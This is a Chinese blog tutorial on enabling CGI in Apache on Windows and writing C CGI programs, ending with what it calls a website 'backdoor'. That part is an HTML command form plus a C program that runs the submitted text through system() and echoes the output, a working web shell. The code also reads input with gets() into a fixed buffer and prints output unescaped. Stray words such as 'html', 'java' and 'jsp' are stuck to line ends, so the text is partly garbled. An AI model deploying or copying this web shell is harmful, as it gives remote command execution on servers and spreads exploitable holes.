c/c++----網站及其後門(CGI應用程序)

C/C++學習到這兒,結合本身曾經學過的javasweb知識,如今讓咱們來看看,如何作一個CGI程序吧!html

首先了解一下啥子叫CGI  :CGI全稱是「公共網關接口」(Common Gateway Interface),HTTP服務器與你的或其它機器上的程序進行「交談」的一種工具,其程序須運行在網絡服務器上。    ----來自百度百科java

1.  首先,咱們須要 Apache server2.0(學習web,應該必須知道這個的,嘻嘻),安裝好該軟件以後,也許會出現不少的問題,致使打不開什麼的。喵了個咪的,博主本人曾經也是搞了老半天,不過最後,仍是搞定了!c++

(1). 其實主要狀況,我遇到就兩種,第一種,就是咱們爲了節約開機時間,將IIS關閉了,或者有些俠客直接將它卸載了! 因此致使打不開!  web

面對這種問題,下一個就行了!  Apache server2.0 須要 IIS 配合。 編程

(2). 第二種就是80端口被佔用了,這是最容易發生的狀況沒有之一。  解決的方法有不少,可是我的比較喜歡這樣來搞。windows

cmd --》 net -ano   --->查看那些佔用了80端口(通常是瀏覽器什麼的居多) 幾下他們的  PID ,而後在進程管理哪兒關閉就行了!瀏覽器

上面的Apache server 運行起來以後,就在瀏覽器中 敲入 localhost ,會顯示一個服務器

而後修改一個,http.cof文件   網絡

找到倆個位置:jsp

第一個位置: #  AddHandler cgi-script .cgi   將這個語句的前面#註釋符去掉

第二個位置: 

<Directory "D:/Program Files/Apache Software Foundation/Apache2.2/cgi-bin">

AllowOverride None

Options None    -----將這個位置替換爲:    Options Indexes ExecCGI

Order allow,deny

Allow from all

</Directory>

這兩個位置配置好以後。就能夠用C/C++編程了!

第一步:咱們編寫一個這樣的文件

1 #include<stdio.h>

2 int main(int args ,char * argv []) {

3   

4     printf("Content-type:text/html\n\n");

5     printf("hello world ! 我是cgi ");

6     getchar();

7   return 0;

8 }

編譯,生成一個這樣的 hello.exe文件、生成以後,咱們將hell.exe的屬性改成 hello.cgi

而後將其放置到,本身安裝的Apache server2.0文件中的cgi-bin文件下

在瀏覽器中,再輸入,localhost/cgi-bin/hello.cgi  就能夠看到這樣的畫面

2. 那麼說了這麼多,咱們又該用c/c++寫一個cgi來作後臺,在背後來操做這個數據呢! 

首先,咱們須要寫一個html,作個web的,對於這些固然,是再easy不過了! 爲了節約時間,就寫一個簡陋點的html吧!!

1 <html>

2 <head>

3   <title>後臺</title>

4 </head>

6 <body>

7             <h1> 後臺界面</h1>

8  <form action="http://localhost/cgi-bin/gxjun.cgi" method="post" id=CGI >

9   

10   請輸入命令cmd: <input  type="text"  name="textlist"     /><br><br>  

11   <input  type="submit"    /><br>

12  </form>

13  <hr>

14 <body>

15 </html>

固然,這個當咱們在作web的時候,這個是能夠內嵌到,咱們的項目中的!在於你將這個jsp放到哪一個地兒啦!

最後就是重點了! 就像我上面寫的cgi同樣! 寫一個下面這樣的代碼:

1 #define  _CRT_SECURE_NO_WARNINGS

2 #include<stdio.h>

3 #include<stdlib.h>

4 //#include<stdexcept>

5 #include<windows.h>

7 //以調用System爲舉例

8 void func(char ps []) {

9     // ps 爲cmd命令

10     char *pl = strchr(ps,'=');  //pl指向當前的位置

11     if(pl!=NULL)   ps = ps + (pl-ps+1);

12      printf("命令cmd = %s\n", ps);

13     char cmd[256] = {'\0'};

14     char  filename[]  = "Gxjun.txt";   //暫定放置於當前目錄。

15     sprintf(cmd,"%s > %s ",ps,filename);  //將ps的內容寫入cmd中

16     //生成了一條指令

17     //不管是否執行成功,都會生成一個Gxjun.txt文件

18     FILE *fp = NULL;

19     int tag=system(cmd);  

20     if (tag == 1) {

21         printf("命令格式錯誤!,請從新輸入: ");

22         goto loop;

23     }

24     if ((fp = fopen(filename, "r")) == NULL) {

25         printf("沒有發現文件!");

26         goto loop ;

27      }

28 

29      while (!feof(fp)) {

30          char str=fgetc(fp);

31           if (str == '\n') printf("<br><br>\n\n");

32           else if (str == ' ')printf(" ");

33           else

34               printf("%c",str);

35      }

36 

37  loop:

38      if (fp != NULL){

39          fclose(fp);

40          //並刪除備份的文件

41          system("del Gxjun.txt");

42      }

43      return ;

44 }

45 

46 

47 int main(int args ,char * argv []) {

48   

49     printf("Content-type:text/html\n\n");

50     //打印環境變量

51     printf("   %s<br><br>", getenv("QUERY_STRING"));

52     char szPost[256] = {'\0'};

53     gets(szPost);  //獲取輸入    

54     if ( strlen(szPost) < 1 )

55         strcpy( szPost , "ipconfig" );

56     func(szPost);

57     getchar();

58   return 0;

59 }

相關文章
相關標籤/搜索